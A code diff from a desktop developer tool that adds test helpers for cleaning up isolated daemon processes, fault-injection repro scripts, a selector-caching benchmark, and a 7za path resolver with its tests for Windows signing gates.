|
||||
function assertTerminalInventoryIdentity(left, right) {
|
||||
assertJsonEqual(
|
||||
[left.handle, left.tabId, left.ptyId],
|
||||
[right.handle, right.tabId, right.ptyId],
|
||||
'committed terminal inventory identity'
|
||||
)
|
||||
}
|
||||
|
||||
function assertJsonEqual(actual, expected, description) {
|
||||
if (JSON.stringify(actual) !== JSON.stringify(expected)) {
|
||||
throw new Error(
|
||||
|
||||
@@ -0,0 +1,121 @@
|
||||
import { execFileSync } from 'node:child_process'
|
||||
import { existsSync, readFileSync, readdirSync } from 'node:fs'
|
||||
import path from 'node:path'
|
||||
|
||||
export function isProcessAlive(pid) {
|
||||
try {
|
||||
process.kill(pid, 0)
|
||||
return true
|
||||
} catch (error) {
|
||||
return error?.code !== 'ESRCH'
|
||||
}
|
||||
}
|
||||
|
||||
function readDaemonPids(userDataPath) {
|
||||
const daemonDir = path.join(userDataPath, 'daemon')
|
||||
if (!existsSync(daemonDir)) {
|
||||
return []
|
||||
}
|
||||
const pids = []
|
||||
for (const entry of readdirSync(daemonDir)) {
|
||||
if (!entry.endsWith('.pid')) {
|
||||
continue
|
||||
}
|
||||
try {
|
||||
const raw = readFileSync(path.join(daemonDir, entry), 'utf8').trim()
|
||||
try {
|
||||
const parsed = JSON.parse(raw)
|
||||
if (Number.isInteger(parsed?.pid)) {
|
||||
pids.push(parsed.pid)
|
||||
}
|
||||
} catch {
|
||||
const pid = Number(raw)
|
||||
if (Number.isInteger(pid)) {
|
||||
pids.push(pid)
|
||||
}
|
||||
}
|
||||
} catch {
|
||||
// Another isolated process may retire its PID record during cleanup.
|
||||
}
|
||||
}
|
||||
return pids
|
||||
}
|
||||
|
||||
function readPosixDescendants(rootPid) {
|
||||
try {
|
||||
const output = execFileSync('ps', ['-eo', 'pid=,ppid='], { encoding: 'utf8' })
|
||||
const childrenByParent = new Map()
|
||||
for (const line of output.split('\n')) {
|
||||
const [pidText, parentText] = line.trim().split(/\s+/)
|
||||
const pid = Number(pidText)
|
||||
const parent = Number(parentText)
|
||||
if (!Number.isInteger(pid) || !Number.isInteger(parent)) {
|
||||
continue
|
||||
}
|
||||
childrenByParent.set(parent, [...(childrenByParent.get(parent) ?? []), pid])
|
||||
}
|
||||
const descendants = []
|
||||
const pending = [...(childrenByParent.get(rootPid) ?? [])]
|
||||
while (pending.length > 0) {
|
||||
const pid = pending.pop()
|
||||
if (!pid) {
|
||||
continue
|
||||
}
|
||||
descendants.push(pid)
|
||||
pending.push(...(childrenByParent.get(pid) ?? []))
|
||||
}
|
||||
return descendants
|
||||
} catch {
|
||||
return []
|
||||
}
|
||||
}
|
||||
|
||||
export async function cleanupIsolatedDaemons(userDataPath) {
|
||||
const trackedPids = new Set()
|
||||
for (const pid of readDaemonPids(userDataPath)) {
|
||||
if (process.platform === 'win32') {
|
||||
trackedPids.add(pid)
|
||||
try {
|
||||
execFileSync('taskkill', ['/pid', String(pid), '/T', '/F'], { stdio: 'ignore' })
|
||||
} catch {
|
||||
// The isolated daemon may already have exited.
|
||||
}
|
||||
continue
|
||||
}
|
||||
const pids = [...readPosixDescendants(pid), pid].toReversed()
|
||||
pids.forEach((targetPid) => trackedPids.add(targetPid))
|
||||
for (const targetPid of pids) {
|
||||
try {
|
||||
process.kill(targetPid, 'SIGTERM')
|
||||
} catch {
|
||||
// The isolated process may already have exited.
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let survivors = await waitForProcessExit([...trackedPids], 1_000)
|
||||
for (const targetPid of survivors) {
|
||||
if (process.platform === 'win32') {
|
||||
continue
|
||||
}
|
||||
try {
|
||||
process.kill(targetPid, 'SIGKILL')
|
||||
} catch {
|
||||
// The isolated process may already have exited.
|
||||
}
|
||||
}
|
||||
survivors = await waitForProcessExit(survivors, 5_000)
|
||||
if (survivors.length > 0) {
|
||||
throw new Error(`isolated daemon cleanup left live processes: ${survivors.join(', ')}`)
|
||||
}
|
||||
}
|
||||
|
||||
async function waitForProcessExit(pids, timeoutMs) {
|
||||
const deadline = Date.now() + timeoutMs
|
||||
let survivors = pids.filter(isProcessAlive)
|
||||
while (survivors.length > 0 && Date.now() < deadline) {
|
||||
await new Promise((resolve) => setTimeout(resolve, 50))
|
||||
survivors = survivors.filter(isProcessAlive)
|
||||
}
|
||||
return survivors
|
||||
}
|
||||
@@ -10,20 +10,37 @@ const { RemoteRuntimeRequestConnection } = require(
|
||||
path.join(repoRoot, 'out', 'shared', 'remote-runtime-request-connection.js')
|
||||
)
|
||||
|
||||
const [pairingCode, method, rawParams] = process.argv.slice(2)
|
||||
const [pairingCode, method, rawParams, responseMode] = process.argv.slice(2)
|
||||
const pairing = pairingCode ? parsePairingCode(pairingCode) : null
|
||||
if (!pairing || !method || rawParams === undefined) {
|
||||
console.error('usage: remote-agent-session-repro-client <pairing> <method> <json-params>')
|
||||
console.error(
|
||||
'usage: remote-agent-session-repro-client <pairing> <method> <json-params> [drop-response]'
|
||||
)
|
||||
process.exit(2)
|
||||
}
|
||||
|
||||
const connection = new RemoteRuntimeRequestConnection(pairing)
|
||||
let droppedResponse = false
|
||||
if (responseMode === 'drop-response') {
|
||||
if (typeof connection.handleRpcFrame !== 'function') {
|
||||
throw new Error('response-loss seam is unavailable')
|
||||
}
|
||||
connection.handleRpcFrame = () => {
|
||||
droppedResponse = true
|
||||
connection.close(new Error('repro dropped committed response before caller acknowledgement'))
|
||||
}
|
||||
}
|
||||
try {
|
||||
const response = await connection.request(method, JSON.parse(rawParams), 20_000)
|
||||
process.stdout.write(`${JSON.stringify(response)}\n`)
|
||||
if (!response.ok) {
|
||||
process.exitCode = 1
|
||||
}
|
||||
} catch (error) {
|
||||
if (!droppedResponse) {
|
||||
throw error
|
||||
}
|
||||
process.stdout.write(`${JSON.stringify({ ok: true, droppedResponse: true })}\n`)
|
||||
} finally {
|
||||
connection.close()
|
||||
}
|
||||
|
||||
@@ -4,11 +4,25 @@ import { appendFileSync, existsSync } from 'node:fs'
|
||||
|
||||
const markerPath = process.env.ORCA_REPRO_SPAWN_MARKER
|
||||
const exitTriggerPath = process.env.ORCA_REPRO_EXIT_TRIGGER
|
||||
const inputMarkerPath = process.env.ORCA_REPRO_INPUT_MARKER
|
||||
const agentSessionToken = process.env.ORCA_REPRO_AGENT_SESSION_TOKEN
|
||||
if (!markerPath || !exitTriggerPath) {
|
||||
process.exit(2)
|
||||
}
|
||||
|
||||
appendFileSync(markerPath, `${process.pid}:${process.ppid}\n`)
|
||||
if (agentSessionToken && !process.argv.slice(2).includes(agentSessionToken)) {
|
||||
process.stderr.write("error: unrecognized subcommand 'app-server'\n")
|
||||
process.exit(2)
|
||||
}
|
||||
|
||||
appendFileSync(
|
||||
markerPath,
|
||||
`${process.pid}:${process.ppid}:${Date.now()}:${JSON.stringify(process.argv.slice(2))}\n`
|
||||
)
|
||||
if (inputMarkerPath) {
|
||||
process.stdin.setEncoding('utf8')
|
||||
process.stdin.on('data', (chunk) => appendFileSync(inputMarkerPath, chunk))
|
||||
}
|
||||
|
||||
const interval = setInterval(() => {
|
||||
if (!existsSync(exitTriggerPath)) {
|
||||
|
||||
@@ -0,0 +1,14 @@
|
||||
#!/usr/bin/env node
|
||||
|
||||
import { appendFileSync } from 'node:fs'
|
||||
|
||||
const markerPath = process.argv[2]
|
||||
if (!markerPath) {
|
||||
process.exit(2)
|
||||
}
|
||||
|
||||
process.stdin.setEncoding('utf8')
|
||||
process.stdin.on('data', (data) => appendFileSync(markerPath, data))
|
||||
setInterval(() => {}, 1_000)
|
||||
process.on('SIGTERM', () => process.exit(0))
|
||||
process.on('SIGINT', () => process.exit(0))
|
||||
@@ -0,0 +1,207 @@
|
||||
#!/usr/bin/env node
|
||||
// Benchmark: cost of the owner-routed settings selector per store write.
|
||||
//
|
||||
// getSettingsForRepoRuntimeOwner() is called from useShallow selectors at ~43
|
||||
// sites across PullRequestPage and TaskPage. Zustand re-runs every subscribed
|
||||
// selector on every store write, so before the fix each unrelated write
|
||||
// allocated one settings-sized object per row and then shallow-compared every
|
||||
// field to conclude nothing had changed.
|
||||
//
|
||||
// The fix caches by repo id and reuses the reference while the settings object,
|
||||
// repo list, and resolved owner are unchanged, so useShallow's equality check
|
||||
// short-circuits on Object.is.
|
||||
//
|
||||
// The selector body is mirrored here (node cannot import the .ts source, matching
|
||||
// the sibling benchmarks). The settings field count is read from the real
|
||||
// GlobalSettings type so a drifted shape fails loudly instead of flattering the
|
||||
// result with a stale, smaller object.
|
||||
import { readFileSync } from 'node:fs'
|
||||
import { performance } from 'node:perf_hooks'
|
||||
import { fileURLToPath } from 'node:url'
|
||||
|
||||
const TYPES_SOURCE = readFileSync(
|
||||
fileURLToPath(new URL('../../src/shared/types.ts', import.meta.url)),
|
||||
'utf8'
|
||||
)
|
||||
|
||||
function countGlobalSettingsFields(source) {
|
||||
const block = source.match(/export type GlobalSettings = \{([\s\S]*?)\n\}/)
|
||||
if (!block) {
|
||||
throw new Error('types.ts no longer declares GlobalSettings in the expected shape')
|
||||
}
|
||||
const fields = block[1].match(/^\s{2}\w+\??:/gm) ?? []
|
||||
if (fields.length < 50) {
|
||||
throw new Error(`GlobalSettings parsed as only ${fields.length} fields; re-sync this benchmark`)
|
||||
}
|
||||
return fields.length
|
||||
}
|
||||
|
||||
const SETTINGS_FIELDS = countGlobalSettingsFields(TYPES_SOURCE)
|
||||
const ROWS = Number.parseInt(process.env.ORCA_OWNER_SETTINGS_BENCH_ROWS ?? '43', 10)
|
||||
const WRITES = Number.parseInt(process.env.ORCA_OWNER_SETTINGS_BENCH_WRITES ?? '2000', 10)
|
||||
const WARMUP = Number.parseInt(process.env.ORCA_OWNER_SETTINGS_BENCH_WARMUP ?? '200', 10)
|
||||
|
||||
for (const [name, value] of [
|
||||
['ORCA_OWNER_SETTINGS_BENCH_ROWS', ROWS],
|
||||
['ORCA_OWNER_SETTINGS_BENCH_WRITES', WRITES],
|
||||
['ORCA_OWNER_SETTINGS_BENCH_WARMUP', WARMUP]
|
||||
]) {
|
||||
if (!Number.isInteger(value) || value <= 0) {
|
||||
throw new Error(`${name} must be a positive integer, received ${value}`)
|
||||
}
|
||||
}
|
||||
|
||||
function makeSettings() {
|
||||
const settings = { activeRuntimeEnvironmentId: 'focused-runtime' }
|
||||
for (let index = 0; index < SETTINGS_FIELDS - 1; index += 1) {
|
||||
settings[`field${index}`] = index % 3 === 0 ? `value-${index}` : index % 3 === 1 ? index : true
|
||||
}
|
||||
return settings
|
||||
}
|
||||
|
||||
function makeRepos(rows) {
|
||||
return Array.from({ length: rows }, (_value, index) => ({
|
||||
id: `repo-${index}`,
|
||||
connectionId: null,
|
||||
executionHostId: `runtime:env-${index % 4}`
|
||||
}))
|
||||
}
|
||||
|
||||
function resolveEnvironmentId(state, repoId) {
|
||||
if (!repoId) {
|
||||
return null
|
||||
}
|
||||
const matching = state.repos.filter((entry) => entry.id === repoId)
|
||||
const repo = matching.length === 1 ? matching[0] : null
|
||||
const hasOwner = Boolean(repo?.executionHostId?.trim() || repo?.connectionId?.trim())
|
||||
if (repo && hasOwner) {
|
||||
const hostId = repo.executionHostId ?? ''
|
||||
return hostId.startsWith('runtime:') ? hostId.slice('runtime:'.length) : null
|
||||
}
|
||||
return state.settings?.activeRuntimeEnvironmentId?.trim() || null
|
||||
}
|
||||
|
||||
// Pre-fix: a fresh object every call.
|
||||
function selectorBefore(state, repoId) {
|
||||
return { ...state.settings, activeRuntimeEnvironmentId: resolveEnvironmentId(state, repoId) }
|
||||
}
|
||||
|
||||
// Post-fix: reuse the reference while nothing it derives from changed.
|
||||
function makeCachedSelector() {
|
||||
const cache = new Map()
|
||||
return (state, repoId) => {
|
||||
const environmentId = resolveEnvironmentId(state, repoId)
|
||||
const cacheKey = repoId ?? ''
|
||||
const cached = cache.get(cacheKey)
|
||||
if (
|
||||
cached &&
|
||||
cached.settingsSource === state.settings &&
|
||||
cached.reposSource === state.repos &&
|
||||
cached.environmentId === environmentId
|
||||
) {
|
||||
return cached.value
|
||||
}
|
||||
const value = { ...state.settings, activeRuntimeEnvironmentId: environmentId }
|
||||
cache.set(cacheKey, {
|
||||
settingsSource: state.settings,
|
||||
reposSource: state.repos,
|
||||
environmentId,
|
||||
value
|
||||
})
|
||||
if (cache.size > 256) {
|
||||
const oldest = cache.keys().next()
|
||||
if (!oldest.done) {
|
||||
cache.delete(oldest.value)
|
||||
}
|
||||
}
|
||||
return value
|
||||
}
|
||||
}
|
||||
|
||||
// Mirror of zustand's useShallow comparison.
|
||||
function shallowEqual(a, b) {
|
||||
if (Object.is(a, b)) {
|
||||
return true
|
||||
}
|
||||
if (a === null || b === null || a === undefined || b === undefined) {
|
||||
return false
|
||||
}
|
||||
const keysA = Object.keys(a)
|
||||
const keysB = Object.keys(b)
|
||||
if (keysA.length !== keysB.length) {
|
||||
return false
|
||||
}
|
||||
for (const key of keysA) {
|
||||
if (!Object.is(a[key], b[key])) {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
// One unrelated store write: every subscribed row re-runs its selector and the
|
||||
// result is compared against the previous one to decide whether to re-render.
|
||||
function simulateWrite(selector, state, rows, previous) {
|
||||
let changed = 0
|
||||
for (let row = 0; row < rows; row += 1) {
|
||||
const next = selector(state, `repo-${row}`)
|
||||
if (!shallowEqual(previous[row], next)) {
|
||||
changed += 1
|
||||
}
|
||||
previous[row] = next
|
||||
}
|
||||
return changed
|
||||
}
|
||||
|
||||
function measure(selector, state, rows) {
|
||||
const previous = Array.from({ length: rows }, () => null)
|
||||
for (let index = 0; index < WARMUP; index += 1) {
|
||||
simulateWrite(selector, state, rows, previous)
|
||||
}
|
||||
const samples = []
|
||||
for (let round = 0; round < 5; round += 1) {
|
||||
const start = performance.now()
|
||||
for (let index = 0; index < WRITES; index += 1) {
|
||||
simulateWrite(selector, state, rows, previous)
|
||||
}
|
||||
samples.push((performance.now() - start) / WRITES)
|
||||
}
|
||||
samples.sort((a, b) => a - b)
|
||||
return samples[2]
|
||||
}
|
||||
|
||||
const settings = makeSettings()
|
||||
const rowCounts = [1, 10, ROWS, 100]
|
||||
const rows = []
|
||||
for (const rowCount of rowCounts) {
|
||||
const state = { repos: makeRepos(Math.max(rowCount, ROWS)), settings }
|
||||
const cached = makeCachedSelector()
|
||||
// Equivalence: both selectors must produce the same value for every row.
|
||||
for (let row = 0; row < rowCount; row += 1) {
|
||||
const before = selectorBefore(state, `repo-${row}`)
|
||||
const after = cached(state, `repo-${row}`)
|
||||
if (!shallowEqual(before, after)) {
|
||||
throw new Error(`selector mismatch at repo-${row}`)
|
||||
}
|
||||
}
|
||||
rows.push({
|
||||
rowCount,
|
||||
beforeMs: measure(selectorBefore, state, rowCount),
|
||||
afterMs: measure(makeCachedSelector(), state, rowCount)
|
||||
})
|
||||
}
|
||||
|
||||
const pad = (value, width) => String(value).padStart(width)
|
||||
console.log(`Owner-routed settings selector, per unrelated store write`)
|
||||
console.log(
|
||||
`GlobalSettings fields=${SETTINGS_FIELDS} writes=${WRITES} warmup=${WARMUP} (median of 5 rounds)`
|
||||
)
|
||||
console.log(`${pad('rows', 6)} ${pad('before ms', 11)} ${pad('after ms', 10)} ${pad('speedup', 9)}`)
|
||||
for (const row of rows) {
|
||||
console.log(
|
||||
`${pad(row.rowCount, 6)} ${pad(row.beforeMs.toFixed(4), 11)} ${pad(row.afterMs.toFixed(4), 10)} ${pad(`${(row.beforeMs / row.afterMs).toFixed(0)}x`, 9)}`
|
||||
)
|
||||
}
|
||||
console.log(
|
||||
`\nrows = subscribed selector call sites on screen (~${ROWS} across PullRequestPage/TaskPage).\nThe cost is paid on EVERY store write, including writes that touch nothing\nthese selectors read.`
|
||||
)
|
||||
@@ -0,0 +1,102 @@
|
||||
#!/usr/bin/env node
|
||||
|
||||
// Why: electron-builder 26.9+ dropped the bundled `7zip-bin` package in favour of a
|
||||
// toolset downloaded at build time, so the hardcoded `node_modules/7zip-bin/...` path
|
||||
// the release signing gates used silently stopped resolving (#6487).
|
||||
|
||||
import { createRequire } from 'node:module'
|
||||
import { existsSync, statSync } from 'node:fs'
|
||||
import { resolve } from 'node:path'
|
||||
|
||||
const require = createRequire(import.meta.url)
|
||||
|
||||
// Why not existsSync: PowerShell's `Test-Path` is true for directories too, so a
|
||||
// override pointing at a folder would satisfy both checks and only fail later as
|
||||
// an opaque exec error inside the gate.
|
||||
function isFile(path) {
|
||||
try {
|
||||
return statSync(path).isFile()
|
||||
} catch {
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
// Legacy layout, still valid if a transitive dep reintroduces 7zip-bin. The
|
||||
// package ships `mac/`, not `darwin/`, and keeps a separate ia32 build.
|
||||
export function legacy7zaRelativePath(platform = process.platform, arch = process.arch) {
|
||||
if (platform === 'win32') {
|
||||
return ['node_modules', '7zip-bin', 'win', arch, '7za.exe']
|
||||
}
|
||||
const dir = platform === 'darwin' ? 'mac' : platform
|
||||
return ['node_modules', '7zip-bin', dir, arch, '7za']
|
||||
}
|
||||
|
||||
// app-builder-lib logs download progress to stdout, which would corrupt the
|
||||
// single-path contract the PowerShell gates parse. Divert it to stderr so a
|
||||
// cold toolset cache stays debuggable without breaking the caller.
|
||||
//
|
||||
// Why refcounted: patching `process.stdout.write` is process-global, so two
|
||||
// concurrent callers would each capture the other's patched function as their
|
||||
// "original" and the last `finally` would restore a diverting stub permanently.
|
||||
let stdoutDivertDepth = 0
|
||||
let originalStdoutWrite = null
|
||||
|
||||
async function withStdoutDivertedToStderr(run) {
|
||||
if (stdoutDivertDepth === 0) {
|
||||
originalStdoutWrite = process.stdout.write
|
||||
process.stdout.write = (chunk, encoding, callback) =>
|
||||
process.stderr.write(chunk, encoding, callback)
|
||||
}
|
||||
stdoutDivertDepth += 1
|
||||
try {
|
||||
return await run()
|
||||
} finally {
|
||||
stdoutDivertDepth -= 1
|
||||
if (stdoutDivertDepth === 0) {
|
||||
process.stdout.write = originalStdoutWrite
|
||||
originalStdoutWrite = null
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
export async function resolve7zaPath(projectDir = process.cwd()) {
|
||||
const override = process.env.ELECTRON_BUILDER_7ZIP_PATH
|
||||
if (override && isFile(override)) {
|
||||
return override
|
||||
}
|
||||
|
||||
const legacy = resolve(projectDir, ...legacy7zaRelativePath())
|
||||
if (isFile(legacy)) {
|
||||
return legacy
|
||||
}
|
||||
|
||||
// app-builder-lib reads the same env var and hard-fails on a stale value, so a
|
||||
// dangling override must be cleared rather than passed through to the download.
|
||||
const restoreOverride = override !== undefined
|
||||
if (restoreOverride) {
|
||||
delete process.env.ELECTRON_BUILDER_7ZIP_PATH
|
||||
}
|
||||
try {
|
||||
// The toolset is cached after the first download, so a release build has
|
||||
// already paid this cost by the time the signing gate runs.
|
||||
const { getPath7za } = require('app-builder-lib/out/toolsets/7zip.js')
|
||||
const toolsetPath = await withStdoutDivertedToStderr(() => getPath7za())
|
||||
if (!existsSync(toolsetPath)) {
|
||||
throw new Error(`app-builder-lib returned a 7za path that does not exist: ${toolsetPath}`)
|
||||
}
|
||||
return toolsetPath
|
||||
} finally {
|
||||
if (restoreOverride) {
|
||||
process.env.ELECTRON_BUILDER_7ZIP_PATH = override
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (import.meta.filename === process.argv[1]) {
|
||||
try {
|
||||
process.stdout.write(`${await resolve7zaPath()}\n`)
|
||||
} catch (error) {
|
||||
process.stderr.write(`Could not resolve a 7za executable: ${error.message}\n`)
|
||||
process.exit(1)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,170 @@
|
||||
import { spawnSync } from 'node:child_process'
|
||||
import { existsSync, mkdirSync, mkdtempSync, rmSync, statSync, writeFileSync } from 'node:fs'
|
||||
import { tmpdir } from 'node:os'
|
||||
import { join, resolve } from 'node:path'
|
||||
import { describe, expect, it } from 'vitest'
|
||||
|
||||
import { legacy7zaRelativePath, resolve7zaPath } from './resolve-7za-path.mjs'
|
||||
|
||||
const projectRoot = resolve(import.meta.dirname, '../..')
|
||||
|
||||
describe('7za path resolution for the Windows signing gates (#6487)', () => {
|
||||
// Why fixtures: 7zip-bin@5.2.0 ships mac/{arm64,x64}, win/{arm64,ia32,x64}
|
||||
// and linux/{arm,arm64,ia32,x64} — a `darwin/` or arch-collapsed guess
|
||||
// resolves to nothing, which is how the gate degraded silently in the first place.
|
||||
it.each([
|
||||
['darwin', 'arm64', 'mac/arm64/7za'],
|
||||
['darwin', 'x64', 'mac/x64/7za'],
|
||||
['win32', 'x64', 'win/x64/7za.exe'],
|
||||
['win32', 'ia32', 'win/ia32/7za.exe'],
|
||||
['win32', 'arm64', 'win/arm64/7za.exe'],
|
||||
['linux', 'x64', 'linux/x64/7za'],
|
||||
['linux', 'arm64', 'linux/arm64/7za']
|
||||
])('maps the %s/%s legacy layout to %s', (platform, arch, expected) => {
|
||||
expect(legacy7zaRelativePath(platform, arch).join('/')).toBe(
|
||||
`node_modules/7zip-bin/${expected}`
|
||||
)
|
||||
})
|
||||
|
||||
it('prefers a real legacy binary over the downloaded toolset', async () => {
|
||||
// Only meaningful if a transitive dep reintroduces the package.
|
||||
const legacy = join(projectRoot, ...legacy7zaRelativePath())
|
||||
if (!existsSync(legacy)) {
|
||||
return
|
||||
}
|
||||
await expect(resolve7zaPath(projectRoot)).resolves.toBe(legacy)
|
||||
})
|
||||
|
||||
it('resolves an executable 7za that can extract an archive', async () => {
|
||||
const path7za = await resolve7zaPath(projectRoot)
|
||||
expect(existsSync(path7za)).toBe(true)
|
||||
|
||||
const scratch = mkdtempSync(join(tmpdir(), 'orca 7za resolve '))
|
||||
try {
|
||||
const payloadDir = join(scratch, 'payload')
|
||||
mkdirSync(payloadDir, { recursive: true })
|
||||
writeFileSync(join(payloadDir, 'Orca.exe'), 'not-a-real-pe')
|
||||
|
||||
const archive = join(scratch, 'bundle.7z')
|
||||
const created = spawnSync(path7za, ['a', archive, payloadDir], { encoding: 'utf8' })
|
||||
expect(created.status).toBe(0)
|
||||
|
||||
const outDir = join(scratch, 'out')
|
||||
const extracted = spawnSync(path7za, ['x', archive, `-o${outDir}`, '-y'], {
|
||||
encoding: 'utf8'
|
||||
})
|
||||
expect(extracted.status).toBe(0)
|
||||
expect(existsSync(join(outDir, 'payload', 'Orca.exe'))).toBe(true)
|
||||
} finally {
|
||||
rmSync(scratch, { recursive: true, force: true })
|
||||
}
|
||||
}, 120_000)
|
||||
|
||||
it('prefers an explicit ELECTRON_BUILDER_7ZIP_PATH override', async () => {
|
||||
const scratch = mkdtempSync(join(tmpdir(), 'orca 7za override '))
|
||||
const previous = process.env.ELECTRON_BUILDER_7ZIP_PATH
|
||||
try {
|
||||
const fake = join(scratch, 'my7za')
|
||||
writeFileSync(fake, '#!/bin/sh\n')
|
||||
process.env.ELECTRON_BUILDER_7ZIP_PATH = fake
|
||||
await expect(resolve7zaPath(projectRoot)).resolves.toBe(fake)
|
||||
} finally {
|
||||
if (previous === undefined) {
|
||||
delete process.env.ELECTRON_BUILDER_7ZIP_PATH
|
||||
} else {
|
||||
process.env.ELECTRON_BUILDER_7ZIP_PATH = previous
|
||||
}
|
||||
rmSync(scratch, { recursive: true, force: true })
|
||||
}
|
||||
})
|
||||
|
||||
// Why a directory and not a missing path: PowerShell's `Test-Path $7za` is true
|
||||
// for directories, so a folder-valued override would clear both the resolver's
|
||||
// check and the gate's, then fail as an opaque exec error mid-extraction.
|
||||
it('ignores an override that points at a directory', async () => {
|
||||
const scratch = mkdtempSync(join(tmpdir(), 'orca 7za dir override '))
|
||||
const previous = process.env.ELECTRON_BUILDER_7ZIP_PATH
|
||||
try {
|
||||
process.env.ELECTRON_BUILDER_7ZIP_PATH = scratch
|
||||
const resolved = await resolve7zaPath(projectRoot)
|
||||
expect(resolved).not.toBe(scratch)
|
||||
expect(statSync(resolved).isFile()).toBe(true)
|
||||
} finally {
|
||||
if (previous === undefined) {
|
||||
delete process.env.ELECTRON_BUILDER_7ZIP_PATH
|
||||
} else {
|
||||
process.env.ELECTRON_BUILDER_7ZIP_PATH = previous
|
||||
}
|
||||
rmSync(scratch, { recursive: true, force: true })
|
||||
}
|
||||
}, 120_000)
|
||||
|
||||
// Why concurrency: the stdout diversion patches a process-global function. A
|
||||
// naive save/restore lets the first finisher reinstate a still-diverting stub
|
||||
// as "the original", permanently swallowing stdout for the rest of the process.
|
||||
it('restores stdout after concurrent resolutions', async () => {
|
||||
const before = process.stdout.write
|
||||
await Promise.all([
|
||||
resolve7zaPath(projectRoot),
|
||||
resolve7zaPath(projectRoot),
|
||||
resolve7zaPath(projectRoot)
|
||||
])
|
||||
expect(process.stdout.write).toBe(before)
|
||||
}, 120_000)
|
||||
|
||||
// Why a subprocess: app-builder-lib memoises the resolved toolset, so an in-process
|
||||
// assertion passes on the cached value even when a dangling override would abort a
|
||||
// cold release runner.
|
||||
it('ignores an override that points at a missing file, in a cold process', () => {
|
||||
const dangling = join(tmpdir(), 'orca-7za-does-not-exist')
|
||||
const result = spawnSync(process.execPath, ['config/scripts/resolve-7za-path.mjs'], {
|
||||
cwd: projectRoot,
|
||||
encoding: 'utf8',
|
||||
env: { ...process.env, ELECTRON_BUILDER_7ZIP_PATH: dangling },
|
||||
timeout: 120_000
|
||||
})
|
||||
|
||||
expect(result.stderr ?? '').not.toContain('does not exist')
|
||||
expect(result.status).toBe(0)
|
||||
const resolved = result.stdout.trim()
|
||||
expect(resolved).not.toBe(dangling)
|
||||
expect(existsSync(resolved)).toBe(true)
|
||||
}, 120_000)
|
||||
|
||||
it('prints exactly one clean line the PowerShell gate can consume', () => {
|
||||
const result = spawnSync(process.execPath, ['config/scripts/resolve-7za-path.mjs'], {
|
||||
cwd: projectRoot,
|
||||
encoding: 'utf8',
|
||||
timeout: 120_000
|
||||
})
|
||||
|
||||
expect(result.status).toBe(0)
|
||||
expect(result.stdout.trimEnd().split('\n')).toHaveLength(1)
|
||||
expect(existsSync(result.stdout.trim())).toBe(true)
|
||||
}, 120_000)
|
||||
|
||||
// Why a cold cache with VITEST unset: app-builder-lib prints download
|
||||
// progress to stdout, and builder-util suppresses that logging under Vitest —
|
||||
// so an inherited VITEST makes this exact failure invisible. `$7za = (node
|
||||
// ...).Trim()` would otherwise receive two lines and the gate would break on
|
||||
// any runner whose toolset cache was evicted or repaired.
|
||||
it('keeps stdout to one path even when the toolset cache is cold', () => {
|
||||
const cache = mkdtempSync(join(tmpdir(), 'orca 7za cold cache '))
|
||||
try {
|
||||
const { VITEST: _vitest, ...envWithoutVitest } = process.env
|
||||
const result = spawnSync(process.execPath, ['config/scripts/resolve-7za-path.mjs'], {
|
||||
cwd: projectRoot,
|
||||
encoding: 'utf8',
|
||||
env: { ...envWithoutVitest, ELECTRON_BUILDER_CACHE: cache },
|
||||
timeout: 300_000
|
||||
})
|
||||
|
||||
expect(result.status).toBe(0)
|
||||
const lines = result.stdout.trimEnd().split('\n')
|
||||
expect(lines).toHaveLength(1)
|
||||
expect(existsSync(lines[0])).toBe(true)
|
||||
} finally {
|
||||
rmSync(cache, { recursive: true, force: true })
|
||||
}
|
||||
}, 300_000)
|
||||
})
|
||||
@@ -1,7 +1,6 @@
|
||||
import { execFileSync, spawn } from 'node:child_process'
|
||||
import { createHash } from 'node:crypto'
|
||||
import {
|
||||
chmodSync,
|
||||
cpSync,
|
||||
existsSync,
|
||||
lstatSync,
|
||||
@@ -17,6 +16,7 @@ import {
|
||||
import net from 'node:net'
|
||||
import { createRequire } from 'node:module'
|
||||
import path from 'node:path'
|
||||
import { prepareDevCliTerminalWrappers } from './dev-cli-terminal-wrapper.mjs'
|
||||
|
||||
// Why: Electron-based hosts (e.g. Claude Code, VS Code) set
|
||||
// ELECTRON_RUN_AS_NODE=1 in their terminal environment. If this leaks into
|
||||
@@ -314,35 +314,12 @@ function getDevUserDataPath() {
|
||||
}
|
||||
|
||||
function prepareDevCliWrapper() {
|
||||
const binDir = path.join(repoRoot, 'out', 'bin')
|
||||
mkdirSync(binDir, { recursive: true })
|
||||
const userDataPath = getDevUserDataPath()
|
||||
const userDataBinDir = path.join(userDataPath, 'cli', 'bin')
|
||||
const cliPath = path.join(repoRoot, 'out', 'cli', 'index.js')
|
||||
const electronBin = getElectronExecutable()
|
||||
|
||||
if (process.platform === 'win32') {
|
||||
writeFileSync(
|
||||
path.join(binDir, 'orca-dev.cmd'),
|
||||
`@echo off\r\nset "ORCA_USER_DATA_PATH=${userDataPath}"\r\nset "ORCA_APP_EXECUTABLE=${electronBin}"\r\nset "ORCA_APP_EXECUTABLE_NEEDS_APP_ROOT=1"\r\nnode "${cliPath}" %*\r\n`,
|
||||
'utf8'
|
||||
)
|
||||
} else {
|
||||
const wrapperContent = `#!/usr/bin/env bash\nexport ORCA_USER_DATA_PATH=${JSON.stringify(userDataPath)}\nexport ORCA_APP_EXECUTABLE=${JSON.stringify(electronBin)}\nexport ORCA_APP_EXECUTABLE_NEEDS_APP_ROOT=1\nexec node ${JSON.stringify(cliPath)} "$@"\n`
|
||||
const wrapperPath = path.join(binDir, 'orca-dev')
|
||||
writeFileSync(wrapperPath, wrapperContent, 'utf8')
|
||||
chmodSync(wrapperPath, 0o755)
|
||||
|
||||
mkdirSync(userDataBinDir, { recursive: true })
|
||||
for (const commandName of ['orca-dev', 'orca']) {
|
||||
const userDataWrapperPath = path.join(userDataBinDir, commandName)
|
||||
// Why: dev Orca terminals prepend this directory to PATH; refreshing the
|
||||
// `orca` alias prevents stale global/userData wrappers from hijacking
|
||||
// Orca-owned commands such as `orca claude-teams`.
|
||||
writeFileSync(userDataWrapperPath, wrapperContent, 'utf8')
|
||||
chmodSync(userDataWrapperPath, 0o755)
|
||||
}
|
||||
}
|
||||
